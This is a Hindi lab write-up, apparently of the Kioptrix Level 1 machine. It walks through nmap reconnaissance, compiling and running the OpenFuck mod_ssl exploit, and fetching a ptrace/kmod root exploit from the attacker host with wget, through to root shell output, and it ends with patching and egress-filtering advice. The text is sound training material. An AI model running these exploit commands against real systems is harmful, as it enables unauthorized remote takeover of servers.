
गलत कॉन्फ़िगरेशन और पुराने सॉफ़्टवेयर की पहचान और शोषण करके रूट-स्तरीय पहुँच प्राप्त की। mod_ssl के पुराने संस्करण में बफ़र ओवरफ़्लो भेद्यता (CVE-2002-0082)। इसके बाद Linux कर्नेल की "ptrace" उपयोगिता में रेस कंडीशन का शोषण करके विशेषाधिकार वृद्धि प्राप्त की गई (CVE-2003-0127),
मिसकॉन्फ़िगरेशन और पुराने सॉफ़्टवेयर की पहचान करके और उनका शोषण करके रूट-स्तरीय पहुँच सुरक्षित की गई। mod_ssl (CVE-2002-0082) के पुराने संस्करण में बफर ओवरफ्लो भेद्यता। बाद में Linux कर्नेल की "ptrace" उपयोगिता में रेस कंडीशन का शोषण करके विशेषाधिकार एस्केलेशन प्राप्त किया गया, चरण 1: रिकॉनिसेंस और एन्यूमरेशन पहला कदम 192.168.56.0/24 सबनेट पर लक्ष्य का IP पता पहचानना था।
होस्ट खोज:
sudo nmap -sn 192.168.56.0/24
परिणाम: लक्ष्य 192.168.56.105 पर पहचाना गया।
पोर्ट स्कैनिंग और सेवा एन्यूमरेशन: खुले पोर्ट, चल रही सेवाओं और ऑपरेटिंग सिस्टम विवरण की पहचान करने के लिए एक व्यापक Nmap स्कैन निष्पादित किया गया।
sudo nmap -sS -sV -O -p- -oA lab_full_scan1 192.168.56.105
मुख्य निष्कर्ष:
Port 80/tcp & 443/tcp: Apache httpd 1.3.20 mod_ssl/2.8.4 और OpenSSL/0.9.6b के साथ चल रहा है।
Port 22/tcp: OpenSSH 2.9p2 चल रहा है।
Port 139/tcp: Samba smbd चल रहा है।
OS पहचान: Linux Kernel 2.4.X (संभवतः 2.4.9 - 2.4.18).
Apache और mod_ssl का पुराना संस्करण तुरंत प्रारंभिक पहुँच के लिए एक उच्च-संभावना वेक्टर प्रस्तुत करता है। चरण 2: प्रारंभिक पहुँच (एक्सप्लॉयटेशन)
searchsploit के माध्यम से Exploit Database ने पुष्टि की कि mod_ssl 2.8.4 एक प्रसिद्ध रिमोट बफर ओवरफ्लो के लिए संवेदनशील है।
searchsploit mod_ssl 2.8
मैंने OpenFuckV2.c एक्सप्लॉयट (EDB-ID: 47080) को इस भेद्यता के लिए सबसे विश्वसनीय पेलोड के रूप में पहचाना। मैंने एक्सप्लॉयट को लोकल होस्ट पर मिरर किया और आवश्यक क्रिप्टोग्राफिक लाइब्रेरीज़ के साथ इसे संकलित किया।
एक्सप्लॉयट संकलन:
searchsploit -m 47080 gcc -o OpenFuck 47080.c -lcrypto
संकलित बाइनरी को बिना तर्कों के चलाने पर समर्थित ऑफसेट की एक सूची मिली। ऑफसेट को लक्ष्य के विशिष्ट OS और Apache संस्करण (Red-Hat Linux, Apache 1.3.20) से मिलाते हुए, मैंने सही ऑफसेट 0x6b निर्धारित किया।
निष्पादन:
./OpenFuck 0x6b 192.168.56.105 443 -c 40
एक्सप्लॉयट ने सफलतापूर्वक बफर ओवरफ्लो को प्रभावित किया, जिससे apache उपयोगकर्ता के रूप में एक निम्न-विशेषाधिकार शेल प्राप्त हुआ।
bash-2.05$ whoami apache
चरण 3: विशेषाधिकार एस्केलेशन
पद्धति पर नोट: OpenFuck एक्सप्लॉयट wget का उपयोग करके रिमोट सर्वर से एक द्वितीयक विशेषाधिकार एस्केलेशन पेलोड (ptrace-kmod.c) को स्वचालित रूप से डाउनलोड करने का प्रयास करता है। हालाँकि, चूँकि लक्ष्य वातावरण में आउटबाउंड इंटरनेट पहुँच नहीं थी, यह स्वचालित चरण विफल रहा (Host not found के रूप में संकल्पित)। मैंने मैन्युअल एन्यूमरेशन और एक्सप्लॉयटेशन की ओर रुख किया।
सिस्टम एन्यूमरेशन:
bash-2.05$ uname -a Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
सिस्टम एक अत्यंत संवेदनशील कर्नेल संस्करण: 2.4.7-10 चला रहा था। इस विशिष्ट Linux कर्नेल को लक्षित करने वाले एक्सप्लॉयट की खोज से ptrace/kmod का उपयोग करने वाली एक स्थानीय विशेषाधिकार एस्केलेशन भेद्यता का पता चला।
पेलोड स्टेजिंग: मैंने एक्सप्लॉयट को स्थानीय रूप से स्थित किया (EDB-ID: 3) और स्थानांतरण की सुविधा के लिए इसे हमलावर मशीन पर एक Python HTTP सर्वर के माध्यम से होस्ट किया।
हमलावर होस्ट:
searchsploit -m 3 python3 -m http.server 8000
लक्ष्य मशीन:
cd /tmp wget http://192.168.56.1:8000/3.c
3.c स्रोत कोड को सफलतापूर्वक लक्ष्य की /tmp निर्देशिका में स्थानांतरित किया गया, मैंने इसे लक्ष्य मशीन पर नेटिव रूप से संकलित और निष्पादित किया।
निष्पादन और रूट समझौता:
gcc 3.c -o exploit
./exploit
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
ptrace रेस कंडीशन का सफलतापूर्वक शोषण किया गया, जिससे apache डेमॉन से root तक विशेषाधिकार बढ़ाए गए। पूर्ण सिस्टम समझौता प्राप्त हुआ।
चरण 4: उपाय इस प्रणाली को शोषित की गई भेद्यताओं से सुरक्षित करने के लिए:
वेब सेवाओं को अपडेट करें: Apache सर्वर को नवीनतम स्थिर रिलीज़ में अपडेट किया जाना चाहिए ताकि CVE-2002-0082 बफर ओवरफ्लो भेद्यता को पैच किया जा सके, जो बिना प्रमाणीकरण के रिमोट कोड निष्पादन की अनुमति देती है।
कर्नेल पैचिंग: Linux कर्नेल (2.4.7-10) कई स्थानीय विशेषाधिकार एस्केलेशन एक्सप्लॉयट के लिए संवेदनशील है, जिसमें ptrace (kmod) रेस कंडीशन भी शामिल है। ऑपरेटिंग सिस्टम कर्नेल को एक आधुनिक, समर्थित संस्करण में अपग्रेड किया जाना चाहिए।
नेटवर्क विभाजन और एग्रेस फ़िल्टरिंग: सर्वर को एक फ़ायरवॉल के पीछे रखा जाना चाहिए जो अनावश्यक आउटबाउंड ट्रैफ़िक को प्रतिबंधित करता है। जबकि इस ऑफ़लाइन लैब में स्वचालित wget विफल रहा, एग्रेस फ़िल्टरिंग लाइव वातावरण में समझौता किए गए वेब अनुप्रयोगों को इंटरनेट से द्वितीयक दुर्भावनापूर्ण पेलोड खींचने से रोकेगी।